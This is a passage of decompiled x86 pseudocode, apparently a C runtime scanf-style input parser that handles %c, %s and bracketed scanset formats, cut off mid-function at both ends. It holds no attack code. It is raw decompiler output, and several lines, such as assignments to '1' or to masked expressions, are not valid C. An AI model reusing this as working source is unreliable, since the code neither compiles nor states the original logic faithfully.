																																		 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																																		 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																																		 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																																		__dl =  *(__ebp - 0x21c);
																																		 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) =  *(__ebp - 0x21c);
																																		 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																																		 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																																		__ecx = __ebp - 0x28;
																																		__edx = __ebp - 0x1e8;
																																		__eax = __ebp - 0x84;
																																		__ecx = __ebp - 0x204;
																																		__edx =  *(__ebp - 0x10);
																																		__eax = E00426B90(__ebx, __ecx, __edi, __esi,  *(__ebp - 0x10), __ecx, __ebp - 0x84, __ebp - 0x1e8, __ebp - 0x28);
																																		__eflags = __eax;
																																		if(__eax != 0) {
																																			 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																																			 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																																			__ecx =  *(__ebp + 8);
																																			 *(__ebp - 0x21c) = E00426CD0( *(__ebp + 8),  *(__ebp + 8));
																																			continue;
																																		}
																																		goto L335;
																																	}
																																	goto L307;
																																}
																																L299:
																																__ecx =  *(__ebp - 0x78);
																																 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																																 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																																__eflags =  *(__ebp - 0x78);
																																if( *(__ebp - 0x78) != 0) {
																																	__ecx =  *(__ebp - 0xc);
																																	__ecx =  *(__ebp - 0xc) + 1;
																																	__eflags = __ecx;
																																	 *(__ebp - 0xc) = __ecx;
																																	__edx =  *(__ebp + 8);
																																	 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																																} else {
																																	 *(__ebp - 0x78) =  *(__ebp - 0x78) + 1;
																																	 *(__ebp - 0x78) =  *(__ebp - 0x78) + 1;
																																}
																																goto L302;
																															}
																															 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																															 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = 0x2d;
																															 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																															 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																															__edx = __ebp - 0x28;
																															__eax = __ebp - 0x1e8;
																															__ecx = __ebp - 0x84;
																															__edx = __ebp - 0x204;
																															__eax =  *(__ebp - 0x10);
																															__eax = E00426B90(__ebx, __ecx, __edi, __esi,  *(__ebp - 0x10), __ebp - 0x204, __ecx, __ebp - 0x1e8, __ebp - 0x28);
																															__eflags = __eax;
																															if(__eax != 0) {
																																goto L299;
																															}
																															goto L335;
																														}
																														goto L335;
																													}
																													__eflags =  *(__ebp - 0x21c) - 0x45;
																													if( *(__ebp - 0x21c) != 0x45) {
																														goto L307;
																													}
																													goto L291;
																												}
																												__edx =  *(__ebp - 0x78);
																												 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																												 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																												__eflags =  *(__ebp - 0x78);
																												if( *(__ebp - 0x78) == 0) {
																													goto L288;
																												}
																												__ecx =  *(__ebp - 0xc);
																												__ecx =  *(__ebp - 0xc) + 1;
																												 *(__ebp - 0xc) = __ecx;
																												__edx =  *(__ebp + 8);
																												 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																												 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																												__cl =  *((intOrPtr*)(__ebp - 1));
																												 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = __cl;
																												 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																												 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																												__eax = __ebp - 0x28;
																												__ecx = __ebp - 0x1e8;
																												__edx = __ebp - 0x84;
																												__eax = __ebp - 0x204;
																												__ecx =  *(__ebp - 0x10);
																												__eax = E00426B90(__ebx, __ecx, __edi, __esi, __ecx, __ebp - 0x204, __ebp - 0x84, __ebp - 0x1e8, __ebp - 0x28);
																												__eflags = __eax;
																												if(__eax != 0) {
																													while(1) {
																														__edx =  *(__ebp - 0x21c) & 0x000000ff;
																														__eax = E00432740(__ebx, __edi, __esi,  *(__ebp - 0x21c) & 0x000000ff);
																														__eflags = __eax;
																														if(__eax == 0) {
																															goto L288;
																														}
																														__eax =  *(__ebp - 0x78);
																														 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																														 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																														__eflags =  *(__ebp - 0x78);
																														if( *(__ebp - 0x78) == 0) {
																															goto L288;
																														}
																														 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																														 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																														 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																														__cl =  *(__ebp - 0x21c);
																														 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = __cl;
																														 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																														 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																														__eax = __ebp - 0x28;
																														__ecx = __ebp - 0x1e8;
																														__edx = __ebp - 0x84;
																														__eax = __ebp - 0x204;
																														__ecx =  *(__ebp - 0x10);
																														__eax = E00426B90(__ebx, __ecx, __edi, __esi, __ecx, __ebp - 0x204, __ebp - 0x84, __ebp - 0x1e8, __ebp - 0x28);
																														__eflags = __eax;
																														if(__eax != 0) {
																															 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																															 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																															__eax =  *(__ebp + 8);
																															 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																															continue;
																														}
																														goto L335;
																													}
																													goto L288;
																												}
																												goto L335;
																											}
																											L271:
																											__ecx =  *(__ebp - 0x78);
																											__ecx =  *(__ebp - 0x78) - 1;
																											 *(__ebp - 0x78) = __ecx;
																											__edx =  *(__ebp - 0xc);
																											__edx =  *(__ebp - 0xc) + 1;
																											__eflags = __edx;
																											 *(__ebp - 0xc) = __edx;
																											__eax =  *(__ebp + 8);
																											 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																											goto L272;
																										}
																										 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																										 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = 0x2d;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																										goto L271;
																									case 3:
																										 *((intOrPtr*)(__ebp - 0x44)) = 0x64;
																										goto L169;
																									case 4:
																										__eax =  *(__ebp - 0xc);
																										 *(__ebp - 0x220) =  *(__ebp - 0xc);
																										__ecx =  *((char*)(__ebp - 0x12));
																										__eflags = __ecx;
																										if(__ecx != 0) {
																											while(1) {
																												 *(_t1252 - 0x1e9) =  *(_t1252 - 0x1e9) + 1;
																												 *(_t1252 + 0xc) =  *(_t1252 + 0xc) + 1;
																												goto L330;
																											}
																										}
																										L257:
																										__eflags =  *(_t1252 - 0x30);
																										if( *(_t1252 - 0x30) == 0) {
																											__eflags =  *((char*)(_t1252 - 0x1d));
																											if( *((char*)(_t1252 - 0x1d)) == 0) {
																												 *( *(_t1252 - 0x7c)) =  *(_t1252 - 0x220);
																											} else {
																												 *( *(_t1252 - 0x7c)) =  *(_t1252 - 0x220);
																											}
																										} else {
																											_t1108 =  *(_t1252 - 0x7c);
																											 *_t1108 =  *(_t1252 - 0x200);
																											 *(_t1108 + 4) =  *(_t1252 - 0x1fc);
																										}
																										goto L262;
																									case 5:
																										 *(__ebp - 0x1d) = 1;
																										goto L191;
																									case 6:
																										__edx =  *(__ebp - 0x215);
																										__eflags = __edx;
																										if(__edx > 0) {
																											__al =  *(__ebp - 0x29);
																											__al =  *(__ebp - 0x29) + 1;
																											__eflags = __al;
																											 *(__ebp - 0x29) = __al;
																										}
																										goto L103;
																									case 7:
																										L169:
																										__eflags =  *(__ebp - 0x21c) - 0x2d;
																										if( *(__ebp - 0x21c) != 0x2d) {
																											goto L171;
																										}
																										 *(__ebp - 2) =  *(__ebp - 2) + 1;
																										 *(__ebp - 2) =  *(__ebp - 2) + 1;
																										goto L172;
																									case 8:
																										__ecx =  *(__ebp - 0x215);
																										__eflags =  *(__ebp - 0x215);
																										if( *(__ebp - 0x215) > 0) {
																											__dl =  *(__ebp - 0x29);
																											__dl =  *(__ebp - 0x29) + 1;
																											__eflags = __dl;
																											 *(__ebp - 0x29) = __dl;
																										}
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										__ecx =  *(__ebp + 0xc);
																										 *(__ebp - 0x38) =  *(__ebp + 0xc);
																										__edx =  *(__ebp - 0x38);
																										__eax =  *( *(__ebp - 0x38)) & 0x000000ff;
																										__eflags = ( *( *(__ebp - 0x38)) & 0x000000ff) - 0x5e;
																										if(( *( *(__ebp - 0x38)) & 0x000000ff) == 0x5e) {
																											 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																											 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																											__dl =  *(__ebp - 3);
																											__dl =  *(__ebp - 3) - 1;
																											__eflags = __dl;
																											 *(__ebp - 3) = __dl;
																										}
																										 *(__ebp - 0x4c) = E0041BED0(__edi,  *(__ebp - 0x4c), 0, 0x20);
																										__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x7b;
																										if( *((intOrPtr*)(__ebp - 0x44)) == 0x7b) {
																											__ecx =  *(__ebp - 0x38);
																											__edx =  *( *(__ebp - 0x38)) & 0x000000ff;
																											__eflags = ( *( *(__ebp - 0x38)) & 0x000000ff) - 0x5d;
																											if(( *( *(__ebp - 0x38)) & 0x000000ff) == 0x5d) {
																												 *(__ebp - 0x7d) = 0x5d;
																												__eax =  *(__ebp - 0x38);
																												__eax =  *(__ebp - 0x38) + 1;
																												__eflags = __eax;
																												 *(__ebp - 0x38) = __eax;
																												__ecx =  *(__ebp - 0x4c);
																												 *((char*)( *(__ebp - 0x4c) + 0xb)) = 0x20;
																											}
																										}
																										while(1) {
																											__edx =  *(__ebp - 0x38);
																											__eax =  *__edx & 0x000000ff;
																											__eflags = ( *__edx & 0x000000ff) - 0x5d;
																											if(( *__edx & 0x000000ff) == 0x5d) {
																												break;
																											}
																											__ecx =  *(__ebp - 0x38);
																											__dl =  *( *(__ebp - 0x38));
																											 *(__ebp - 0x7e) =  *( *(__ebp - 0x38));
																											 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																											 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																											__ecx =  *(__ebp - 0x7e) & 0x000000ff;
																											__eflags = ( *(__ebp - 0x7e) & 0x000000ff) - 0x2d;
																											if(( *(__ebp - 0x7e) & 0x000000ff) != 0x2d) {
																												L89:
																												__dl =  *(__ebp - 0x7e);
																												 *(__ebp - 0x7d) =  *(__ebp - 0x7e);
																												 *(__ebp - 0x7d) & 0x000000ff = ( *(__ebp - 0x7d) & 0x000000ff) >> 3;
																												 *(__ebp - 0x7e) & 0x000000ff =  *(__ebp - 0x7e) & 7;
																												1 = 1 << __cl;
																												__ecx =  *(__ebp - 0x4c);
																												 *( *(__ebp - 0x4c) + (( *(__ebp - 0x7d) & 0x000000ff) >> 3)) =  *( *(__ebp - 0x4c) + (( *(__ebp - 0x7d) & 0x000000ff) >> 3)) | 0x00000001 << __cl;
																												 *(__ebp - 0x7d) & 0x000000ff = ( *(__ebp - 0x7d) & 0x000000ff) >> 3;
																												__edx =  *(__ebp - 0x4c);
																												 *( *(__ebp - 0x4c) + (( *(__ebp - 0x7d) & 0x000000ff) >> 3)) = __al;
																												L98:
																												continue;
																											}
																											__edx =  *(__ebp - 0x7d) & 0x000000ff;
																											__eflags =  *(__ebp - 0x7d) & 0x000000ff;
																											if(( *(__ebp - 0x7d) & 0x000000ff) == 0) {
																												goto L89;
																											}
																											__eax =  *(__ebp - 0x38);
																											__ecx =  *( *(__ebp - 0x38)) & 0x000000ff;
																											__eflags = ( *( *(__ebp - 0x38)) & 0x000000ff) - 0x5d;
																											if(( *( *(__ebp - 0x38)) & 0x000000ff) != 0x5d) {
																												__eax =  *(__ebp - 0x38);
																												__cl =  *( *(__ebp - 0x38));
																												 *(__ebp - 0x7e) = __cl;
																												 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																												 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																												__eax =  *(__ebp - 0x7d) & 0x000000ff;
																												__ecx =  *(__ebp - 0x7e) & 0x000000ff;
																												__eflags = ( *(__ebp - 0x7d) & 0x000000ff) - ( *(__ebp - 0x7e) & 0x000000ff);
																												if(( *(__ebp - 0x7d) & 0x000000ff) >= ( *(__ebp - 0x7e) & 0x000000ff)) {
																													__al =  *(__ebp - 0x7d);
																													 *(__ebp - 0x11) = __al;
																													__cl =  *(__ebp - 0x7e);
																													 *(__ebp - 0x7d) = __cl;
																												} else {
																													__dl =  *(__ebp - 0x7e);
																													 *(__ebp - 0x11) =  *(__ebp - 0x7e);
																												}
																												__dl =  *(__ebp - 0x7d);
																												 *(__ebp - 0x7e) =  *(__ebp - 0x7d);
																												while(1) {
																													__ecx =  *(__ebp - 0x7e) & 0x000000ff;
																													__edx =  *(__ebp - 0x11) & 0x000000ff;
																													__eflags = ( *(__ebp - 0x7e) & 0x000000ff) - ( *(__ebp - 0x11) & 0x000000ff);
																													if(( *(__ebp - 0x7e) & 0x000000ff) > ( *(__ebp - 0x11) & 0x000000ff)) {
																														break;
																													}
																													 *(__ebp - 0x7e) & 0x000000ff = ( *(__ebp - 0x7e) & 0x000000ff) >> 3;
																													 *(__ebp - 0x7e) & 0x000000ff =  *(__ebp - 0x7e) & 7;
																													1 = 1 << __cl;
																													__ecx =  *(__ebp - 0x4c);
																													 *( *(__ebp - 0x4c) + (( *(__ebp - 0x7e) & 0x000000ff) >> 3)) =  *( *(__ebp - 0x4c) + (( *(__ebp - 0x7e) & 0x000000ff) >> 3)) | 0x00000001 << __cl;
																													 *(__ebp - 0x7e) & 0x000000ff = ( *(__ebp - 0x7e) & 0x000000ff) >> 3;
																													__edx =  *(__ebp - 0x4c);
																													 *( *(__ebp - 0x4c) + (( *(__ebp - 0x7e) & 0x000000ff) >> 3)) = __al;
																													__al =  *(__ebp - 0x7e);
																													__al =  *(__ebp - 0x7e) + 1;
																													__eflags = __al;
																													 *(__ebp - 0x7e) = __al;
																												}
																												 *(__ebp - 0x7d) = 0;
																												goto L98;
																											}
																											goto L89;
																										}
																										__eax =  *(__ebp - 0x38);
																										__ecx =  *( *(__ebp - 0x38)) & 0x000000ff;
																										__eflags = __ecx;
																										if(__ecx != 0) {
																											__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x7b;
																											if( *((intOrPtr*)(__ebp - 0x44)) == 0x7b) {
																												__edx =  *(__ebp - 0x38);
																												 *(__ebp + 0xc) = __edx;
																											}
																											L103:
																											 *(_t1252 - 0x48) =  *(_t1252 - 0x7c);
																											_t1049 =  *(_t1252 - 0xc) - 1;
																											 *(_t1252 - 0xc) =  *(_t1252 - 0xc) - 1;
																											E00426D30( *(_t1252 - 0x21c),  *(_t1252 + 8));
																											_t1254 = _t1254 + 8;
																											__eflags =  *(_t1252 - 0x44) - 0x63;
																											if( *(_t1252 - 0x44) != 0x63) {
																												_t1049 =  *(_t1252 - 0x18) - 1;
																												__eflags = _t1049;
																												 *(_t1252 - 0x18) = _t1049;
																											}
																											while(1) {
																												__eflags =  *(_t1252 - 0x1f0);
																												if( *(_t1252 - 0x1f0) == 0) {
																													goto L107;
																												}
																												L106:
																												 *(_t1252 - 0x78) =  *(_t1252 - 0x78) - 1;
																												__eflags =  *(_t1252 - 0x78);
																												if( *(_t1252 - 0x78) == 0) {
																													L128:
																													__eflags =  *(_t1252 - 0x40);
																													if( *(_t1252 - 0x40) == 0) {
																														_t1146 =  *(_t1252 - 0x48);
																														__eflags =  *(_t1252 - 0x48) -  *(_t1252 - 0x7c);
																														if( *(_t1252 - 0x48) ==  *(_t1252 - 0x7c)) {
																															goto L335;
																														}
																														__eflags =  *((char*)(_t1252 - 0x12));
																														if( *((char*)(_t1252 - 0x12)) == 0) {
																															 *(_t1252 - 8) =  *(_t1252 - 8) + 1;
																															__eflags =  *(_t1252 - 0x44) - 0x63;
																															if( *(_t1252 - 0x44) != 0x63) {
																																__eflags =  *(_t1252 - 0x29);
																																if( *(_t1252 - 0x29) == 0) {
																																	 *( *(_t1252 - 0x7c)) = 0;
																																	__eflags =  *(_t1252 - 0x34) - 0xffffffff;
																																	if( *(_t1252 - 0x34) != 0xffffffff) {
																																		__eflags =  *(_t1252 - 0x34) - 0x7fffffff;
																																		if( *(_t1252 - 0x34) != 0x7fffffff) {
																																			__eflags =  *(_t1252 - 0x7c) -  *(_t1252 - 0x48) + 1 -  *(_t1252 - 0x34);
																																			if( *(_t1252 - 0x7c) -  *(_t1252 - 0x48) + 1 <  *(_t1252 - 0x34)) {
																																				__eflags =  *0x43d1bc -  *(_t1252 - 0x34) -  *(_t1252 - 0x7c) -  *(_t1252 - 0x48) + 1;
																																				if( *0x43d1bc >=  *(_t1252 - 0x34) -  *(_t1252 - 0x7c) -  *(_t1252 - 0x48) + 1) {
																																					_t878 =  *(_t1252 - 0x34) -  *(_t1252 - 0x7c) -  *(_t1252 - 0x48) + 1;
																																					__eflags = _t878;
																																					 *(_t1252 - 0x270) = _t878;
																																				} else {
																																					 *(_t1252 - 0x270) =  *0x43d1bc;
																																				}
																																				__eflags =  *(_t1252 - 0x7c) -  *(_t1252 - 0x48);
																																				E0041BED0(_t1250,  *(_t1252 - 0x48) +  *(_t1252 - 0x7c) -  *(_t1252 - 0x48) + 1, 0xfe,  *(_t1252 - 0x270));
																																				_t1254 = _t1254 + 0xc;
																																			}
																																		}
																																	}
																																} else {
																																	 *( *(_t1252 - 0x7c)) = 0;
																																	__eflags =  *(_t1252 - 0x34) - 0xffffffff;
																																	if( *(_t1252 - 0x34) != 0xffffffff) {
																																		__eflags =  *(_t1252 - 0x34) - 0x7fffffff;
																																		if( *(_t1252 - 0x34) != 0x7fffffff) {
																																			__eflags = ( *(_t1252 - 0x7c) -  *(_t1252 - 0x48) >> 1) + 1 -  *(_t1252 - 0x34);
																																			if(( *(_t1252 - 0x7c) -  *(_t1252 - 0x48) >> 1) + 1 <  *(_t1252 - 0x34)) {
																																				__eflags =  *0x43d1bc -  *(_t1252 - 0x34) - ( *(_t1252 - 0x7c) -  *(_t1252 - 0x48) >> 1) + 1;
																																				if( *0x43d1bc >=  *(_t1252 - 0x34) - ( *(_t1252 - 0x7c) -  *(_t1252 - 0x48) >> 1) + 1) {
																																					_t1064 =  *(_t1252 - 0x34) - ( *(_t1252 - 0x7c) -  *(_t1252 - 0x48) >> 1) + 1;
																																					__eflags = _t1064;
																																					 *(_t1252 - 0x26c) = _t1064;
																																				} else {
																																					 *(_t1252 - 0x26c) =  *0x43d1bc;
																																				}
																																				__eflags =  *(_t1252 - 0x7c) -  *(_t1252 - 0x48);
																																				E0041BED0(_t1250,  *(_t1252 - 0x48) + 2 + ( *(_t1252 - 0x7c) -  *(_t1252 - 0x48) >> 1) * 2, 0xfe,  *(_t1252 - 0x26c) << 1);
																																				_t1254 = _t1254 + 0xc;
																																			}
																																		}
																																	}
																																}
																															}
																														}
																														while(1) {
																															 *(_t1252 - 0x1e9) =  *(_t1252 - 0x1e9) + 1;
																															 *(_t1252 + 0xc) =  *(_t1252 + 0xc) + 1;
																															goto L330;
																														}
																													}
																													 *((intOrPtr*)(L0041F530(_t1049))) = 0xc;
																													__eflags =  *(_t1252 - 0x29);
																													if( *(_t1252 - 0x29) == 0) {
																														_t1146 =  *(_t1252 - 0x48);
																														 *( *(_t1252 - 0x48)) = 0;
																														__eflags =  *(_t1252 - 0x34) - 0xffffffff;
																														if( *(_t1252 - 0x34) != 0xffffffff) {
																															__eflags =  *(_t1252 - 0x34) - 0x7fffffff;
																															if( *(_t1252 - 0x34) != 0x7fffffff) {
																																__eflags =  *(_t1252 - 0x34) - 1;
																																if( *(_t1252 - 0x34) > 1) {
																																	__eflags =  *0x43d1bc -  *(_t1252 - 0x34) - 1;
																																	if( *0x43d1bc >=  *(_t1252 - 0x34) - 1) {
																																		_t1146 =  *(_t1252 - 0x34) - 1;
																																		__eflags = _t1146;
																																		 *(_t1252 - 0x268) = _t1146;
																																	} else {
																																		 *(_t1252 - 0x268) =  *0x43d1bc;
																																	}
																																	__eflags =  *(_t1252 - 0x48) + 1;
																																	E0041BED0(_t1250,  *(_t1252 - 0x48) + 1, 0xfe,  *(_t1252 - 0x268));
																																	_t1254 = _t1254 + 0xc;
																																}
																															}
																														}
																													} else {
																														_t1146 =  *(_t1252 - 0x48);
																														 *( *(_t1252 - 0x48)) = 0;
																														__eflags =  *(_t1252 - 0x34) - 0xffffffff;
																														if( *(_t1252 - 0x34) != 0xffffffff) {
																															__eflags =  *(_t1252 - 0x34) - 0x7fffffff;
																															if( *(_t1252 - 0x34) != 0x7fffffff) {
																																__eflags =  *(_t1252 - 0x34) - 1;
																																if( *(_t1252 - 0x34) > 1) {
																																	__eflags =  *0x43d1bc -  *(_t1252 - 0x34) - 1; // 0xffffffff
																																	if(__eflags >= 0) {
																																		_t1146 =  *(_t1252 - 0x34) - 1;
																																		__eflags = _t1146;
																																		 *(_t1252 - 0x264) = _t1146;
																																	} else {
																																		_t1072 =  *0x43d1bc; // 0xffffffff
																																		 *(_t1252 - 0x264) = _t1072;
																																	}
																																	__eflags =  *(_t1252 - 0x48) + 2;
																																	E0041BED0(_t1250,  *(_t1252 - 0x48) + 2, 0xfe,  *(_t1252 - 0x264) << 1);
																																	_t1254 = _t1254 + 0xc;
																																}
																															}
																														}
																													}
																													goto L335;
																												}
																												L107:
																												 *(_t1252 - 0xc) =  *(_t1252 - 0xc) + 1;
																												_t869 = E00426CD0( *(_t1252 - 0xc) + 1,  *(_t1252 + 8));
																												_t1254 = _t1254 + 4;
																												 *(_t1252 - 0x21c) = _t869;
																												__eflags =  *(_t1252 - 0x21c) - 0xffffffff;
																												if( *(_t1252 - 0x21c) == 0xffffffff) {
																													L126:
																													 *(_t1252 - 0xc) =  *(_t1252 - 0xc) - 1;
																													_t1049 =  *(_t1252 + 8);
																													E00426D30( *(_t1252 - 0x21c),  *(_t1252 + 8));
																													_t1254 = _t1254 + 8;
																													goto L128;
																												}
																												__eflags =  *(_t1252 - 0x44) - 0x63;
																												if( *(_t1252 - 0x44) == 0x63) {
																													L115:
																													_t1049 =  *((char*)(_t1252 - 0x12));
																													__eflags =  *((char*)(_t1252 - 0x12));
																													if( *((char*)(_t1252 - 0x12)) != 0) {
																														_t1192 =  *(_t1252 - 0x48) + 1;
																														__eflags = _t1192;
																														 *(_t1252 - 0x48) = _t1192;
																														L125:
																														__eflags =  *(_t1252 - 0x1f0);
																														if( *(_t1252 - 0x1f0) == 0) {
																															goto L107;
																														}
																														goto L106;
																													}
																													__eflags =  *(_t1252 - 0x18);
																													if( *(_t1252 - 0x18) != 0) {
																														__eflags =  *(_t1252 - 0x29);
																														if( *(_t1252 - 0x29) == 0) {
																															 *( *(_t1252 - 0x7c)) =  *(_t1252 - 0x21c);
																															 *(_t1252 - 0x7c) =  *(_t1252 - 0x7c) + 1;
																															_t1049 =  *(_t1252 - 0x18) - 1;
																															__eflags = _t1049;
																															 *(_t1252 - 0x18) = _t1049;
																														} else {
																															 *((char*)(_t1252 - 0x238)) =  *(_t1252 - 0x21c);
																															_t1075 =  *(_t1252 - 0x21c) & 0x000000ff;
																															_t910 = E0042F0A0( *(_t1252 - 0x21c) & 0x000000ff);
																															_t1259 = _t1254 + 4;
																															__eflags = _t910;
																															if(_t910 != 0) {
																																_t1201 =  *(_t1252 - 0xc) + 1;
																																__eflags = _t1201;
																																 *(_t1252 - 0xc) = _t1201;
																																_t919 = E00426CD0(_t1075,  *(_t1252 + 8));
																																_t1259 = _t1259 + 4;
																																 *((char*)(_t1252 - 0x237)) = _t919;
																															}
																															 *((short*)(_t1252 - 0x3c)) = 0x3f;
																															_t911 = E0041EA40(_t1252 - 0x214);
																															E0042F0C0(_t1252 - 0x3c, _t1252 - 0x238,  *((intOrPtr*)( *((intOrPtr*)(E0041EA40(_t1252 - 0x214))) + 0xac)), _t911);
																															_t1254 = _t1259 + 0x10;
																															_t1049 =  *((intOrPtr*)(_t1252 - 0x3c));
																															 *( *(_t1252 - 0x7c)) =  *((intOrPtr*)(_t1252 - 0x3c));
																															 *(_t1252 - 0x7c) =  *(_t1252 - 0x7c) + 2;
																															 *(_t1252 - 0x18) =  *(_t1252 - 0x18) - 1;
																														}
																														goto L125;
																													}
																													 *(_t1252 - 0x40) = 1;
																													goto L128;
																												}
																												__eflags =  *(_t1252 - 0x44) - 0x73;
																												if( *(_t1252 - 0x44) != 0x73) {
																													L113:
																													__eflags =  *(_t1252 - 0x44) - 0x7b;
																													if( *(_t1252 - 0x44) != 0x7b) {
																														goto L126;
																													}
																													_t921 =  *(_t1252 - 0x21c) >> 3;
																													_t1080 =  *((intOrPtr*)(_t1252 - 0x4c));
																													__eflags = ( *(_t1080 + _t921) ^  *(_t1252 - 3)) & 0x00000001 << ( *(_t1252 - 0x21c) & 0x00000007);
																													if((( *(_t1080 + _t921) ^  *(_t1252 - 3)) & 0x00000001 << ( *(_t1252 - 0x21c) & 0x00000007)) == 0) {
																														goto L126;
																													}
																													goto L115;
																												}
																												__eflags =  *(_t1252 - 0x21c) - 9;
																												if( *(_t1252 - 0x21c) < 9) {
																													L112:
																													__eflags =  *(_t1252 - 0x21c) - 0x20;
																													if( *(_t1252 - 0x21c) != 0x20) {
																														goto L115;
																													}
																													goto L113;
																												}
																												__eflags =  *(_t1252 - 0x21c) - 0xd;
																												if( *(_t1252 - 0x21c) <= 0xd) {
																													goto L113;
																												}
																												goto L112;
																											}
																										}
																										goto L335;
																									case 9:
																										goto L313;
																								}
																							}
																							if( *(_t1252 - 0x44) == 0x63) {
																								L63:
																								 *((intOrPtr*)(_t1252 + 0x14)) =  *((intOrPtr*)(_t1252 - 0x1c));
																								 *((intOrPtr*)(_t1252 + 0x14)) =  *((intOrPtr*)(_t1252 + 0x14)) + 4;
																								 *(_t1252 - 0x7c) =  *( *((intOrPtr*)(_t1252 + 0x14)) - 4);
																								 *((intOrPtr*)(_t1252 - 0x1c)) =  *((intOrPtr*)(_t1252 + 0x14));
																								 *((intOrPtr*)(_t1252 + 0x14)) =  *((intOrPtr*)(_t1252 + 0x14)) + 4;
																								 *(_t1252 - 0x18) =  *( *((intOrPtr*)(_t1252 + 0x14)) - 4);
																								_t1091 =  *(_t1252 - 0x18);
																								 *(_t1252 - 0x34) =  *(_t1252 - 0x18);
																								if( *(_t1252 - 0x18) >= 1) {
																									goto L68;
																								} else {
																									_t1146 =  *(_t1252 - 0x215);
																									if( *(_t1252 - 0x215) <= 0) {
																										_t1146 =  *(_t1252 - 0x7c);
																										 *( *(_t1252 - 0x7c)) = 0;
																									} else {
																										_t1091 =  *(_t1252 - 0x7c);
																										 *( *(_t1252 - 0x7c)) = 0;
																									}
																									 *((intOrPtr*)(L0041F530(_t1091))) = 0xc;
																									goto L335;
																								}
																							}
																							if( *(_t1252 - 0x44) == 0x73) {
																								goto L63;
																							}
																							if( *(_t1252 - 0x44) != 0x7b) {
																								goto L68;
																							}
																							goto L63;
																						}
																						if( *(_t1252 - 0x78) == 0) {
																							 *(_t1252 - 0xc) =  *(_t1252 - 0xc) - 1;
																							_t1146 =  *(_t1252 - 0x21c);
																							E00426D30( *(_t1252 - 0x21c),  *(_t1252 + 8));
																							_t1254 = _t1254 + 8;
																							goto L335;
																						}
																						goto L59;
																					}
																					if( *(_t1252 - 0x21c) != 0xffffffff) {
																						goto L57;
																					} else {
																						goto L335;
																					}
																				}
																				if( *(_t1252 - 0x44) == 0x63) {
																					L53:
																					_t1146 =  *(_t1252 - 0xc) + 1;
																					 *(_t1252 - 0xc) = _t1146;
																					_t935 = E00426CD0(_t1041,  *(_t1252 + 8));
																					_t1254 = _t1254 + 4;
																					 *(_t1252 - 0x21c) = _t935;
																					goto L54;
																				}
																				if( *(_t1252 - 0x44) == 0x7b) {
																					goto L53;
																				} else {
																					_t937 = E00426D50(_t1011, _t1252 - 0xc, _t1250, _t1251, _t1252 - 0xc,  *(_t1252 + 8));
																					_t1254 = _t1254 + 8;
																					 *(_t1252 - 0x21c) = _t937;
																					goto L54;
																				}
																			} else {
																				if(( *( *(_t1252 + 0xc)) & 0x000000ff) == 0x53) {
																					L47:
																					 *(_t1252 - 0x215) =  *(_t1252 - 0x215) + 1;
																					goto L49;
																				}
																				if(( *( *(_t1252 + 0xc)) & 0x000000ff) != 0x43) {
																					_t940 =  *(_t1252 - 0x215) - 1;
																					 *(_t1252 - 0x215) = _t940;
																					goto L49;
																				}
																				goto L47;
																			}
																		}
																	} else {
																		_t953 =  *(_t1252 - 0xc) - 1;
																		 *(_t1252 - 0xc) = _t953;
																		E00426D30(E00426D50(_t1011,  *(_t1252 + 8), _t1250, _t1251, _t1252 - 0xc,  *(_t1252 + 8)),  *(_t1252 + 8));
																		_t1261 = _t1254 + 0x10;
																		do {
																			 *(_t1252 + 0xc) =  *(_t1252 + 0xc) + 1;
																			 *(_t1252 - 0x71) =  *( *(_t1252 + 0xc));
																			_t958 = E004328C0(_t1011, _t1250, _t1251,  *(_t1252 - 0x71) & 0x000000ff);
